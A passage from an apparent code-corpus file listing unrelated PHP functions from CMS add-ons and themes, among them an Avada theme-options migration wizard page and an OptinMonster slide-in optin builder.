ee()->$lib_name->getCodePackDetails($this->addon_path . 'code_pack/');\n\n\t\t$this->cached_vars['code_pack_name'] = $details['code_pack_name'];\n\t\t$this->cached_vars['code_pack_label'] = $details['code_pack_label'];\n\n\t\t$return = ee()->$lib_name->installCodePack($variables);\n\n\t\t$this->cached_vars = array_merge($this->cached_vars, $return);\n\n\t\t//--------------------------------------\n\t\t// menus and page content\n\t\t//--------------------------------------\n\n\t\t$this->cached_vars['module_menu_highlight'] = 'module_demo_templates';\n\n\t\t$this->add_crumb(lang('demo_templates'), $this->base . '&method=code_pack');\n\t\t$this->add_crumb(lang('install_demo_templates'));\n\n\t\t$this->cached_vars['current_page'] = $this->view('code_pack_install.html', NULL, TRUE);\n\n\t\t//---------------------------------------------\n\t\t// Load Homepage\n\t\t//---------------------------------------------\n\n\t\treturn $this->ee_cp_view('index.html');\n\t}", "function modules_get_manual()\n{\n\t$currentlang = pnSessionGetVar('lang');\n\t$language = pnConfigGetVar('language');\n\n\tif (!isset($GLOBALS['ModName'])) {\n\t\t$modname = pnModGetName();\n\t} else {\n\t\t$modname = $GLOBALS['ModName'];\n\t}\n\t$modinfo = pnModGetInfo(pnModGetIDFromName($modname));\n\n\tif (file_exists('modules/'.pnVarPrepForOS($modinfo['directory']).'/lang/'.pnVarPrepForOS($currentlang).'/manual.html')) {\n\t\t$hlpfile = 'modules/'.pnVarPrepForOS($modinfo['directory']).'/lang/'.pnVarPrepForOS($currentlang).'/manual.html';\n\t} elseif (!empty($language)) {\n\t\tif (file_exists('modules/'.pnVarPrepForOS($modinfo['directory']).'/lang/'.pnVarPrepForOS($language).'/manual.html')) {\n\t\t\t$hlpfile = 'modules/'.pnVarPrepForOS($modinfo['directory']).'/lang/'.pnVarPrepForOS($language).'/manual.html';\n\t\t}\n\t} else {\n\t\t$hlpfile = 'modules/'.pnVarPrepForOS($modinfo['directory']).'/lang/eng/manual.html';\n\t}\n\treturn;\n}", "public static function install()\n\t{\n\t\tmanpower_create_page_with_slug(MANPOWER_DEFAULT_CATALOG_SLUG);\n\t\tupdate_option('mp_catalog_slug', MANPOWER_DEFAULT_CATALOG_SLUG);\n\t\tupdate_option('mp_worker_slug', MANPOWER_DEFAULT_WORKER_SLUG);\t\t\n\t}", "function anzeigen(){\n\techo '\n\t\t<b>Installation:</b><br>\n\t\tDie <a href=\"http://www.kis-fiktiv.bplaced.net/quellcode.zip\">Quellcodedateien</a> werden auf einen PHP- und datenbankfähigen Server kopiert, z.B. auf \n\t\t<a href=\"http://www.bplaced.net/\">http://www.bplaced.net/</a>. Die Datenbank wird erstellt indem die Datei gen.php\n\t\tauf dem Server ausgeführt wird. Dazu muss der Hostname, Benutzername, Passwort, Name der eigenen Datenbank vorher in \n\t\tdie Datei config.php eingetragen werden.<br><br>\n\t\t\n\t\t<b>Rollen und Rechtesystem:</b><br>\n\t\tDer Benutzer kann sich unter 3 verschiedenen Rollen in das System einwählen. Chefarzt, Arzthelfer, Admin.\n\t\tJe nach Rolle hat er dann ein Lese- und / oder Schreibrecht für das Formular.<br><br>\n\n\t\t<b>Funktionalität:</b><br>\n\t\tEin Patient wird ausgewählt, dann wird auf \"weiter\" geklickt. Es wird ein leeres Formular erstellt, falls noch kein Formular \t\t\tgespeichert ist. Andernfalls wird das Formular des Patienten angezeigt. Das Formular kann dann geändert oder gelöscht \t\t\t\twerden.<br><br>\n\n\t\t<b>Plausibilität der Eingaben:</b><br>\n\t\tBei Einigen Feldern im Formular ist die Eingabe nur mit bestimmten Datentypen und Werten möglich:<br>\n\t\t<div id=\"tab\">\n\t\t- Der PSA-Wert muss kleiner als 3,2 sein <br>\n\t\t- IPSS liegt zwischen 0 und 35 <br>\n\t\t- 1. und 2. Gleasonfeld muss Werte zwischen 1 und 5 haben <br><br>\n\t\t</div>\n\t\t<b>Tabellen der Datenbank:</b><br>\n\t\t<div id=\"tab\">\n\t\t\t- Formular<br>\n\t\t\t- Patient<br>\n\t\t\t- Rollen<br>\n\t\t\t- Users<br><br>\n\t\t</div>\n\t\t</div>';\t\t\n\t}", "public function setup_wizard_template() {\n\t\t$current_step = intval( $this->step );\n\t\t?>\n\t\t<!DOCTYPE html>\n\t\t<html xmlns=\"http://www.w3.org/1999/xhtml\" <?php language_attributes(); ?>>\n\t\t\t<head>\n\t\t\t\t<meta name=\"viewport\" content=\"width=device-width\" />\n\t\t\t\t<meta http-equiv=\"Content-Type\" content=\"text/html; charset=utf-8\" />\n\t\t\t\t<title ><?php esc_html_e( 'Avada Theme Option Migration', 'Avada' ); ?></title >\n\t\t\t\t<?php do_action( 'admin_print_styles' ); ?>\n\t\t\t\t<?php do_action( 'admin_head' ); ?>\n\t\t\t\t<style>\n\t\t\t\t.avada-setup {\n\t\t\t\t\tpadding: 3% 20%;\n\t\t\t\t\tbackground-color: #f2f2f2;\n\t\t\t\t\tfont-family: \"Noto Sans\", Roboto, \"Open Sans\", -apple-system, BlinkMacSystemFont, \"Segoe UI\", \"Oxygen-Sans\", \"Ubuntu\", \"Cantarell\", \"Helvetica Neue\", sans-serif;\n\t\t\t\t\tfont-weight:300;\n\t\t\t\t\tfont-size: 1.1em;\n\t\t\t\t}\n\t\t\t\t.update-content {\n\t\t\t\t\tmax-width: 1150px;\n\t\t\t\t\tmargin: auto;\n\t\t\t\t}\n\t\t\t\t.avada-logo {\n\t\t\t\t\tmargin-bottom: 25px;\n\t\t\t\t\ttext-align: center;\n\t\t\t\t}\n\t\t\t\t.avada-logo img {\n\t\t\t\t\tmax-width: 226.5px;\n\t\t\t\t\theight: auto;\n\t\t\t\t\tvertical-align: bottom;\n\t\t\t\t}\n\t\t\t\t.avada-version {\n\t\t\t\t\tvertical-align: bottom;\n\t\t\t\t}\n\t\t\t\t.avada-version-inner {\n\t\t\t\t\tdisplay: inline-block;\n\t\t\t\t\tmargin-left: 20px;\n\t\t\t\t\tpadding: 5px 10px;\n\t\t\t\t\tbackground-color: #65bc7b;\n\t\t\t\t\t-webkit-border-radius: 3px;\n\t\t\t\t\tborder-radius: 3px;\n\t\t\t\t\tcolor: #fff;\n\t\t\t\t}\n\t\t\t\t.avada-content-wrapper {\n\t\t\t\t\t-webkit-border-radius: 3px;\n\t\t\t\t\tborder-radius: 3px;\n\t\t\t\t\t-webkit-box-shadow: 1px 1px 3px 1px rgba(0,0,0,.2);\n\t\t\t\t\tbox-shadow: 1px 1px 3px 1px rgba(0,0,0,.2);\n\t\t\t\t}\n\t\t\t\t.avada-welcome-msg {\n\t\t\t\t\tpadding: 25px 35px;\n\t\t\t\t\tline-height: 1.6em;\n\t\t\t\t\tbackground-color: #65bc7b;\n\t\t\t\t\tcolor: #fff;\n\t\t\t\t\tfont-style: italic;\n\t\t\t\t\ttext-align: center;\n\t\t\t\t}\n\t\t\t\t.avada-migration-link {\n\t\t\t\t\tcolor: #fff;\n\t\t\t\t}\n\t\t\t\t.avada-setup-content {\n\t\t\t\t\tpadding: 30px 10%;\n\t\t\t\t\tbackground: #fff;\n\t\t\t\t}\n\t\t\t\t.avada-update-progress-bar {\n\t\t\t\t\theight: 20px;\n\t\t\t\t\tposition: relative;\n\t\t\t\t\tbackground: #F0F4C3;\n\t\t\t\t\tmargin: 35px 0;\n\t\t\t\t\tpadding: 1px;\n\t\t\t\t}\n\t\t\t\t.avada-update-progress-bar > span {\n\t\t\t\t\tdisplay: block;\n\t\t\t\t\theight: 100%;\n\t\t\t\t\tbackground-color: #8bc34a;\n\t\t\t\t\tposition: relative;\n\t\t\t\t\toverflow: hidden;\n\t\t\t\t}\n\t\t\t\t.tasks-list {\n\t\t\t\t\tpadding: 0;\n\t\t\t\t\tlist-style: none;\n\t\t\t\t\t<?php if ( 3 < $this->steps ) : ?>\n\t\t\t\t\t\t-webkit-column-count: 2;\n\t\t\t\t\t\t-moz-column-count: 2;\n\t\t\t\t\t\tcolumn-count: 2;\n\t\t\t\t\t<?php endif; ?>\n\t\t\t\t}\n\t\t\t\t.tasks-list li .content {\n\t\t\t\t\tcolor: #333;\n\t\t\t\t}\n\t\t\t\t.tasks-list li {\n\t\t\t\t\tcolor: #f2f2f2;\n\t\t\t\t}\n\t\t\t\t.tasks-list li:before {\n\t\t\t\t\tvertical-align: middle;\n\t\t\t\t\tfont-family: dashicons;\n\t\t\t\t\tcontent: \"\\f147\";\n\t\t\t\t\tfont-size: 1.4em\n\t\t\t\t}\n\t\t\t\t.tasks-list li.done {\n\t\t\t\t\tcolor: #65bc7b;\n\t\t\t\t}\n\t\t\t\t.tasks-list li.doing {\n\t\t\t\t\tcolor: #000;\n\t\t\t\t}\n\t\t\t\t.avada-save-options {\n\t\t\t\t\tdisplay: inline-block;\n\t\t\t\t\tmargin: 2em 0 0.67em 0;\n\t\t\t\t\tpadding: 1em 2em;\n\t\t\t\t\tbackground-color: #65bc7b;\n\t\t\t\t\tcolor: #fff;\n\t\t\t\t\ttext-decoration: none;\n\t\t\t\t\t-webkit-border-radius: 3px;\n\t\t\t\t\tborder-radius: 3px;\n\t\t\t\t\t-webkit-transition: all 0.3s;\n\t\t\t\t\t-moz-transition: all 0.3s;\n\t\t\t\t\t-ms-transition: all 0.3s;\n\t\t\t\t\ttransition: all 0.3s;\n\t\t\t\t}\n\t\t\t\t.avada-save-options.needs-update {\n\t\t\t\t\tbackground-color: #ef5350;\n\t\t\t\t}\n\t\t\t\t.avada-save-options:hover {\n\t\t\t\t\tbackground-color: #5aa86c;\n\t\t\t\t}\n\t\t\t\t.avada-save-options.needs-update:hover {\n\t\t\t\t\tbackground-color: #f44336;\n\t\t\t\t}\n\t\t\t\t.avada-footer {\n\t\t\t\t\tpadding: 25px 35px;\n\t\t\t\t\tbackground: #f2f2f2;\n\t\t\t\t\tfont-size: 0.8em;\n\t\t\t\t\ttext-align: right;\n\t\t\t\t}\n\t\t\t\t.avada-themefusion-link {\n\t\t\t\t\tcolor: #000;\n\t\t\t\t\ttext-decoration: none;\n\t\t\t\t}\n\t\t\t\t.avada-separator {\n\t\t\t\t\tpadding: 0 10px;\n\t\t\t\t}\n\t\t\t\t.avada-heart {\n\t\t\t\t\tpadding-left: 5px;\n\t\t\t\t\tvertical-align: middle;\n\t\t\t\t}\n\t\t\t\t.avada-heart:after {\n\t\t\t\t\tfont-family: dashicons;\n\t\t\t\t\tcontent: \"\\f487\";\n\t\t\t\t}\n\t\t\t\t</style>\n\t\t\t</head>\n\t\t\t<?php $version = Avada::get_theme_version(); ?>\n\t\t\t<body class=\"avada-setup wp-core-ui\">\n\t\t\t\t<div class=\"update-content\">\n\t\t\t\t\t<div class=\"avada-logo\">\n\t\t\t\t\t\t<img src=\"<?php echo esc_url_raw( Avada::$template_dir_url ); ?>/assets/images/logo_migration.png\" alt=\"<?php esc_html_e( 'Avada Logo', 'Avada' ); ?>\" width=\"453\" height=\"95\">\n\t\t\t\t\t\t<span class=\"avada-version\">\n\t\t\t\t\t\t\t<span class=\"avada-version-inner\"><?php echo esc_attr( $version ); ?></span>\n\t\t\t\t\t\t</span>\n\t\t\t\t\t</div>\n\t\t\t\t\t<div class=\"avada-content-wrapper\">\n\t\t\t\t\t\t<div class=\"avada-welcome-msg\">\n\t\t\t\t\t\t\t<?php\n\n\t\t\t\t\t\t\tif ( ! empty( $this->available_languages ) ) {\n\t\t\t\t\t\t\t\t/* translators: Version number. */\n\t\t\t\t\t\t\t\tprintf( esc_html__( 'We have an amazing new update in store for you! Avada %s includes our completely new Theme Options Panel and the brand new Fusion Builder. To enjoy the full experience, two primary conversion steps need to be performed. First your Theme Options database entries need to be converted (sequentially for each language, if you have a multi-lingual site). In a second step your shortcodes will be converted for the new builder. Thank you for choosing Avada!', 'Avada' ), esc_attr( $version ) );\n\t\t\t\t\t\t\t} else {\n\t\t\t\t\t\t\t\t/* translators: Version number. */\n\t\t\t\t\t\t\t\tprintf( esc_html__( 'We have an amazing new update in store for you! Avada %s includes our completely new Theme Options Panel and the brand new Fusion Builder. To enjoy the full experience, two primary conversion steps need to be performed. First your Theme Options database entries need to be converted. In a second step your shortcodes will be converted for the new builder. Thank you for choosing Avada!', 'Avada' ), esc_attr( $version ) );\n\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t?>\n\t\t\t\t\t\t</div>\n\t\t\t\t\t\t<div class=\"avada-setup-content\">\n\t\t\t\t\t\t\t<h1 style=\"font-size:1.3em;\">\n\t\t\t\t\t\t\t\t<?php esc_html_e( 'Updating Avada Database Entries', 'Avada' ); ?>\n\t\t\t\t\t\t\t</h1>\n\t\t\t\t\t\t\t<?php if ( ! empty( $this->available_languages ) ) : ?>\n\t\t\t\t\t\t\t\t<?php /* translators: Language label. */ ?>\n\t\t\t\t\t\t\t\t<?php printf( esc_html__( 'Currently converting language: %s', 'Avada' ), '<strong>' . esc_attr( $this->active_language ) . '</strong>' ); ?>\n\t\t\t\t\t\t\t<?php endif; ?>\n\t\t\t\t\t\t\t<?php if ( $current_step >= count( $this->steps ) ) : ?>\n\t\t\t\t\t\t\t\t<p><?php esc_html_e( 'Done!', 'Avada' ); ?></p>\n\t\t\t\t\t\t\t<?php elseif ( $current_step >= ( count( $this->steps ) * 0.75 ) ) : ?>\n\t\t\t\t\t\t\t\t<p><?php esc_html_e( 'Almost there...', 'Avada' ); ?></p>\n\t\t\t\t\t\t\t<?php elseif ( $current_step >= ( count( $this->steps ) * 0.4 ) ) : ?>\n\t\t\t\t\t\t\t\t<p><?php esc_html_e( 'Halfway there... Patience Padawan, Patience.', 'Avada' ); ?></p>\n\t\t\t\t\t\t\t<?php else : ?>\n\t\t\t\t\t\t\t\t<p><?php esc_html_e( 'This may take a few minutes, please wait.', 'Avada' ); ?></p>\n\t\t\t\t\t\t\t<?php endif; ?>\n\n\t\t\t\t\t\t\t<?php if ( ! empty( $this->available_languages ) && 1 < count( $this->available_languages ) ) : ?>\n\t\t\t\t\t\t\t\t<?php $current_lang_step = 0; ?>\n\t\t\t\t\t\t\t\t<?php $current_lang_step = array_search( $this->active_language, $this->available_languages ) + 1; ?>\n\t\t\t\t\t\t\t\t<div class=\"avada-update-progress-bar\"><span style=\"width: <?php echo intval( 100 * $current_lang_step / count( $this->available_languages ) ); ?>%\"></span></div>\n\t\t\t\t\t\t\t\t<?php /* translators: %1$s, %2$s: Numbers. */ ?>\n\t\t\t\t\t\t\t\t<p><?php printf( esc_html__( 'Converting language: %1$s of %2$s.', 'Avada' ), absint( $current_lang_step ), count( $this->available_languages ) ); ?></p>\n\t\t\t\t\t\t\t<?php endif; ?>\n\n\t\t\t\t\t\t\t<?php if ( $current_step <= count( $this->steps ) && isset( $this->steps[ $this->step ] ) ) : ?>\n\t\t\t\t\t\t\t\t<div class=\"avada-update-progress-bar\"><span style=\"width: <?php echo intval( 100 * ( $current_step + 1 ) / count( $this->steps ) ); ?>%\"></span></div>\n\t\t\t\t\t\t\t\t<?php /* translators: %1$s, %2$s: Numbers. */ ?>\n\t\t\t\t\t\t\t\t<p><?php printf( esc_html__( 'Updating Avada Database options: step %1$s of %2$s.', 'Avada' ), intval( $this->step + 1 ), count( $this->steps ) ); ?></p>\n\t\t\t\t\t\t\t\t<ul class=\"tasks-list\">\n\t\t\t\t\t\t\t\t\t<?php foreach ( $this->steps as $key => $step ) : ?>\n\t\t\t\t\t\t\t\t\t\t<?php\n\t\t\t\t\t\t\t\t\t\t$li_class = '';\n\t\t\t\t\t\t\t\t\t\tif ( $key <= $current_step - 1 ) {\n\t\t\t\t\t\t\t\t\t\t\t$li_class = 'done';\n\t\t\t\t\t\t\t\t\t\t} elseif ( $key == $current_step ) {\n\t\t\t\t\t\t\t\t\t\t\t$li_class = 'doing';\n\t\t\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t\t\t\t?>\n\t\t\t\t\t\t\t\t\t\t<li class=\"<?php echo esc_attr( $li_class ); ?>\">\n\t\t\t\t\t\t\t\t\t\t\t<span class=\"content\"><?php echo esc_html( $step['description'] ); ?></span>\n\t\t\t\t\t\t\t\t\t\t</li>\n\t\t\t\t\t\t\t\t\t<?php endforeach; ?>\n\t\t\t\t\t\t\t\t</ul>\n\t\t\t\t\t\t\t<?php else : ?>\n\t\t\t\t\t\t\t\t<?php if ( empty( $this->available_languages ) || count( $this->available_languages ) == array_search( $this->active_language, $this->available_languages ) + 1 ) : ?>\n\t\t\t\t\t\t\t\t\t<p><?php esc_html_e( 'Congratulations, Theme Options database enrties were successfully converted.', 'Avada' ); ?></p>\n\t\t\t\t\t\t\t\t\t<p><?php esc_html_e( 'For best experience, please clear your browser cache once.', 'Avada' ); ?></p>\n\t\t\t\t\t\t\t\t\t<p><?php esc_html_e( 'Dynamic-CSS caches have been auto reset.', 'Avada' ); ?></p>\n\t\t\t\t\t\t\t\t<?php endif; ?>\n\t\t\t\t\t\t\t<?php endif; ?>\n\n\t\t\t\t\t\t\t<?php if ( intval( $this->step ) >= count( $this->steps ) ) : ?>\n\t\t\t\t\t\t\t\t<?php if ( empty( $this->available_languages ) || count( $this->available_languages ) == array_search( $this->active_language, $this->available_languages ) + 1 ) : ?>\n\t\t\t\t\t\t\t\t\t<a class=\"avada-save-options\" href=\"<?php echo esc_url_raw( admin_url( 'index.php?fusion_builder_migrate=1&ver=500' ) ); ?>\">\n\t\t\t\t\t\t\t\t\t\t<?php esc_attr_e( 'Take Me To Shortcode Conversion', 'Avada' ); ?>\n\t\t\t\t\t\t\t\t\t</a>\n\t\t\t\t\t\t\t\t<?php endif; ?>\n\t\t\t\t\t\t\t<?php endif; ?>\n\t\t\t\t\t\t</div>\n\t\t\t\t\t\t<?php /* translators: (heart) icon. */ ?>\n\t\t\t\t\t\t<div class=\"avada-footer\"><a class=\"avada-themefusion-link\" href=\"https://theme-fusion.com\" target=\"_blank\" rel=\"noopener noreferrer\" title=\"ThemeFusion\">ThemeFusion</a><span class=\"avada-separator\">|</span><?php printf( esc_html__( 'Created with %s', 'Avada' ), '<span class=\"avada-heart\"></span>' ); ?></div>\n\t\t\t\t\t</div>\n\t\t\t\t\t<?php echo $this->redirect_script(); // phpcs:ignore WordPress.Security.EscapeOutput ?>\n\t\t\t\t</div>\n\t\t\t</body>\n\t\t</html>\n\t\t<?php\n\t}", "public function generate()\n {\n \n if (TL_MODE == 'BE') {\n $template = new \\BackendTemplate('be_wildcard');\n \n $template->wildcard = 'pdfbo';\n //$template->title = $this->headline;\n $template->title = \"\";\n $template->id = $this->id;\n $template->link = $this->name;\n $template->href = 'contao?do=themes&amp;table=tl_module&amp;act=edit&amp;id='.$this->id;\n \n return $template->parse();\n }\n \n return parent::generate();\n }", "public function build() {\n\n\t\t// Build out the CSS styling for the optin.\n\t\t$theme = '<style type=\"text/css\">';\n\t\t$css = '\n\t\thtml div#om-' . $this->hash . ',\n\t\thtml div#om-' . $this->hash . ' * {\n\t\t\tbackground:none;\n\t\t\tborder:0;\n\t\t\tborder-radius:0;\n\t\t\t-webkit-border-radius:0;\n\t\t\t-moz-border-radius:0;\n\t\t\tfloat:none;\n\t\t\tfont:normal 100%/normal helvetica,arial,sans-serif;\n\t\t\t-webkit-font-smoothing:antialiased;\n\t\t\theight:auto;\n\t\t\tletter-spacing:normal;\n\t\t\toutline:none;\n\t\t\tposition:static;\n\t\t\ttext-decoration:none;\n\t\t\ttext-indent:0;\n\t\t\ttext-shadow:none;\n\t\t\ttext-transform:none;\n\t\t\twidth:auto;\n\t\t\tvisibility:visible;\n\t\t\toverflow:visible;\n\t\t\tmargin:0;\n\t\t\tpadding:0;\n\t\t\tline-height:1;\n\t\t\tbox-sizing:border-box;\n\t\t\t-webkit-box-sizing:border-box;\n\t\t\t-moz-box-sizing:border-box;\n\t\t\t-webkit-box-shadow:none;\n\t\t\t-moz-box-shadow:none;\n\t\t\t-ms-box-shadow:none;\n\t\t\t-o-box-shadow:none;\n\t\t\tbox-shadow:none;\n\t\t\t-webkit-appearance:none;\n\t\t}\n\t\thtml div#om-' . $this->hash . ' {\n\t\t\tbackground: transparent;\n\t\t\t-webkit-font-smoothing: antialiased;\n\t\t\tline-height: 1;\n\t\t\twidth: 300px;\n\t\t\tposition: fixed;\n\t\t\tright: 20px;\n\t\t\tbottom: 0;\n\t\t\tz-index: ' . ( 'customizer' == $this->env ? 1 : 734626274 ) . ';\n\t\t\tmin-height: 20px;\n\t\t\theight: auto;\n\t\t}\n\t\thtml div#om-' . $this->hash . ' strong {\n\t\t\tfont-weight: bold;\n\t\t}\n\t\thtml div#om-' . $this->hash . ' em {\n\t\t\tfont-style: italic;\n\t\t}\n\t\thtml div#om-' . $this->hash . ' u {\n\t\t\ttext-decoration: underline;\n\t\t}\n\t\thtml div#om-' . $this->hash . ' .om-clearfix {\n\t\t\tclear: both;\n\t\t}\n\t\thtml div#om-' . $this->hash . ' .om-clearfix:after {\n\t\t\tclear: both;\n\t\t\tcontent: \".\";\n\t\t\tdisplay: block;\n\t\t\theight: 0;\n\t\t\tline-height: 0;\n\t\t\toverflow: auto;\n\t\t\tvisibility: hidden;\n\t\t\tzoom: 1;\n\t\t}\n\t\thtml div#om-' . $this->hash . ' #om-slide-' . $this->theme . '-optin {\n\t\t\tbackground: #000;\n\t\t\tdisplay: none;\n\t\t\tposition: relative;\n\t\t\tmin-height: 20px;\n\t\t}\n\t\thtml div#om-' . $this->hash . ' .om-slide-open-holder,\n\t\thtml div#om-' . $this->hash . ' .om-slide-close-holder {\n\t\t\tcolor: #fff;\n\t\t\tdisplay: block;\n\t\t\tfont-family: Arial, sans-serif;\n\t\t\tposition relative;\n\t\t\tpadding: 10px;\n\t\t}\n\t\thtml div#om-' . $this->hash . ' .om-slide-close-holder {\n\t\t\tpadding: 10px 0 0;\n\t\t}\n\t\thtml div#om-' . $this->hash . ' .om-slide-open-holder span,\n\t\thtml div#om-' . $this->hash . ' .om-slide-close-holder span {\n\t\t\tcolor: #fff;\n\t\t\tdisplay: inline;\n\t\t\tfloat: right;\n\t\t\tfont-size: 21px;\n\t\t\tline-height: 14px;\n\t\t\tfont-weight: 100;\n\t\t\ttext-decoration: none !important;\n\t\t\tfont-family: Arial, sans-serif !important;\n\t\t\tmargin: 0 0 0 10px;\n\t\t\tvertical-align: middle;\n\t\t}\n\t\thtml div#om-' . $this->hash . ' .om-slide-close-holder span {\n\t\t\tfont-size: 16px;\n\t\t\tfont-weight: bold;\n\t\t}\n\t\thtml div#om-' . $this->hash . ' #om-slide-' . $this->theme . '-optin-title-closed,\n\t\thtml div#om-' . $this->hash . ' #om-slide-' . $this->theme . '-optin-title-open,\n\t\thtml div#om-' . $this->hash . ' #om-slide-' . $this->theme . '-optin-tagline {\n\t\t\tdisplay: block;\n\t\t\tfont-size: 14px;\n\t\t\tcolor: #fff;\n\t\t\twidth: 100%;\n\t\t}\n\t\thtml div#om-' . $this->hash . ' #om-slide-' . $this->theme . '-optin-title-closed span,\n\t\thtml div#om-' . $this->hash . ' #om-slide-' . $this->theme . '-optin-title-closed strong,\n\t\thtml div#om-' . $this->hash . ' #om-slide-' . $this->theme . '-optin-title-closed em,\n\t\thtml div#om-' . $this->hash . ' #om-slide-' . $this->theme . '-optin-title-closed u,\n\t\thtml div#om-' . $this->hash . ' #om-slide-' . $this->theme . '-optin-title-open span,\n\t\thtml div#om-' . $this->hash . ' #om-slide-' . $this->theme . '-optin-title-open strong,\n\t\thtml div#om-' . $this->hash . ' #om-slide-' . $this->theme . '-optin-title-open em,\n\t\thtml div#om-' . $this->hash . ' #om-slide-' . $this->theme . '-optin-title-open u,\n\t\thtml div#om-' . $this->hash . ' #om-slide-' . $this->theme . '-optin-tagline span,\n\t\thtml div#om-' . $this->hash . ' #om-slide-' . $this->theme . '-optin-tagline strong,\n\t\thtml div#om-' . $this->hash . ' #om-slide-' . $this->theme . '-optin-tagline em,\n\t\thtml div#om-' . $this->hash . ' #om-slide-' . $this->theme . '-optin-tagline u {\n\t\t\tfont-family: inherit;\n\t\t}\n\t\thtml div#om-' . $this->hash . ' #om-slide-' . $this->theme . '-optin-tagline {\n\t\t\tline-height: 1.2;\n\t\t}\n\t\thtml div#om-' . $this->hash . ' .om-slide-open .om-slide-open-holder,\n\t\thtml div#om-' . $this->hash . ' .om-slide-closed #om-slide-' . $this->theme . '-header,\n\t\thtml div#om-' . $this->hash . ' .om-slide-closed #om-slide-' . $this->theme . '-content,\n\t\thtml div#om-' . $this->hash . ' .om-slide-closed #om-slide-' . $this->theme . '-footer {\n\t\t\tdisplay: none;\n\t\t}\n\t\thtml div#om-' . $this->hash . ' #om-slide-' . $this->theme . '-header,\n\t\thtml div#om-' . $this->hash . ' #om-slide-' . $this->theme . '-content,\n\t\thtml div#om-' . $this->hash . ' #om-slide-' . $this->theme . '-footer {\n\t\t\tpadding: 0 10px 10px;\n\t\t}\n\t\thtml div#om-' . $this->hash . ' input,\n\t\thtml div#om-' . $this->hash . ' #om-slide-' . $this->theme . '-optin-name,\n\t\thtml div#om-' . $this->hash . ' #om-slide-' . $this->theme . '-optin-email {\n\t\t\tbackground-color: #fff;\n\t\t\tdisplay: block;\n\t\t\tborder: 1px solid #fff;\n\t\t\tfont-size: 14px;\n\t\t\tline-height: 24px;\n\t\t\tpadding: 4px 6px;\n\t\t\toverflow: hidden;\n\t\t\toutline: none;\n\t\t\tmargin: 0 0 10px;\n\t\t\tvertical-align: middle;\n\t\t\twidth: 280px;\n\t\t}\n\t\thtml div#om-' . $this->hash . ' input[type=submit],\n\t\thtml div#om-' . $this->hash . ' button,\n\t\thtml div#om-' . $this->hash . ' #om-slide-' . $this->theme . '-optin-submit {\n\t\t\tbackground: #ff370f;\n\t\t\tborder: 1px solid #ff370f;\n\t\t\twidth: 280px;\n\t\t\tcolor: #fff;\n\t\t\tfont-size: 14px;\n\t\t\tpadding: 4px 6px;\n\t\t\tline-height: 24px;\n\t\t\theight: ' . ( isset( $this->meta['email']['provider'] ) && 'custom' == $this->meta['email']['provider'] ? '34px' : '24px' ) . ';\n\t\t\ttext-align: center;\n\t\t\tvertical-align: middle;\n\t\t\tcursor: pointer;\n\t\t\tmargin: 0;\n\t\t}\n\t\thtml div#om-' . $this->hash . ' input[type=checkbox],\n\t\thtml div#om-' . $this->hash . ' input[type=radio] {\n\t\t -webkit-appearance: checkbox;\n\t\t width: auto;\n\t\t outline: invert none medium;\n\t\t padding: 0;\n\t\t margin: 0;\n\t\t}\n\t\t';\n\n\t\t// Minify CSS a bit.\n\t\t$theme .= str_replace( array( \"\\n\", \"\\t\", \"\\r\" ), '', $css );\n\n\t\t// If there is any custom CSS, append it now.\n\t\tif ( ! empty( $this->meta['custom_css'] ) )\n\t\t $theme .= str_replace( array( \"\\n\", \"\\t\", \"\\r\" ), '', $this->meta['custom_css'] );\n\n // Close out the styles.\n $theme .= '</style>';\n\n\t\t// Build out the HTML structure for the optin.\n\t\t$bg = $this->get_field( 'background', 'header' );\n\t\t$theme .= '<div id=\"om-slide-' . $this->theme . '-optin\" class=\"om-slide-' . $this->theme . ' om-clearfix om-slide-closed\">';\n\t\t\t$theme .= '<div id=\"om-slide-' . $this->theme . '-optin-wrap\" class=\"om-clearfix\">';\n\t\t\t\t$theme .= '<a href=\"#\" class=\"om-slide-open-holder\" title=\"Open\" style=\"' . ( ! empty( $bg ) ? 'background-color: ' . $bg : '' ) . '\">';\n\n\t\t\t\t$title = $this->get_field( 'title_closed' );\n\t\t\t $style = '';\n\t\t\t if ( ! empty( $title['color'] ) )\n\t\t\t $style .= 'color:' . $title['color'] . ';';\n\t\t\t if ( ! empty( $title['font'] ) )\n\t\t\t $style .= 'font-family:\\'' . $title['font'] . '\\', sans-serif;';\n\t\t\t if ( ! empty( $title['size'] ) )\n\t\t\t $style .= 'font-size:' . $title['size'] . 'px;';\n\t\t\t if ( ! empty( $title['meta'] ) )\n\t\t\t foreach ( (array) $title['meta'] as $prop => $val )\n\t\t\t $style .= str_replace( '_', '-', $prop ) . ':' . $val . ';';\n\t\t\t\t$theme .= '<h1 id=\"om-slide-' . $this->theme . '-optin-title-closed\" style=\"' . ( ! empty( $style ) ? $style : '' ) . '\">' . ( ! empty( $title['text'] ) ? $title['text'] : '' ) . '<span class=\"om-slide-open-content\">&#43;</span></h1>';\n\t\t\t\t$theme .= '</a>';\n\n\t\t\t\t// Header area.\n\t\t\t\t$theme .= '<div id=\"om-slide-' . $this->theme . '-header\" class=\"om-clearfix\" style=\"' . ( ! empty( $bg ) ? 'background-color: ' . $bg : '' ) . '\">';\n\t\t\t\t\t$theme .= '<a href=\"#\" class=\"om-slide-close-holder\" title=\"Close\">';\n\t\t\t\t $title = $this->get_field( 'title_open' );\n\t\t\t\t $style = '';\n\t\t\t\t if ( ! empty( $title['color'] ) )\n\t\t\t\t $style .= 'color:' . $title['color'] . ';';\n\t\t\t\t if ( ! empty( $title['font'] ) )\n\t\t\t\t $style .= 'font-family:\\'' . $title['font'] . '\\', sans-serif;';\n\t\t\t\t if ( ! empty( $title['size'] ) )\n\t\t\t\t $style .= 'font-size:' . $title['size'] . 'px;';\n\t\t\t\t if ( ! empty( $title['meta'] ) )\n\t\t\t\t foreach ( (array) $title['meta'] as $prop => $val )\n\t\t\t\t $style .= str_replace( '_', '-', $prop ) . ':' . $val . ';';\n\t\t\t\t\t$theme .= '<h2 id=\"om-slide-' . $this->theme . '-optin-title-open\" style=\"' . ( ! empty( $style ) ? $style : '' ) . '\">' . ( ! empty( $title['text'] ) ? $title['text'] : '' ) . '<span class=\"om-slide-close-content\">&#120;</span></h2>';\n\t\t\t\t\t$theme .= '</a>';\n\t\t\t\t$theme .= '</div>';\n\n\t\t\t\t// Content area.\n\t\t\t\t$content_bg = $this->get_field( 'background', 'content' );\n\t\t\t\t$theme .= '<div id=\"om-slide-' . $this->theme . '-content\" class=\"om-clearfix\" style=\"' . ( ! empty( $content_bg ) ? 'background-color: ' . 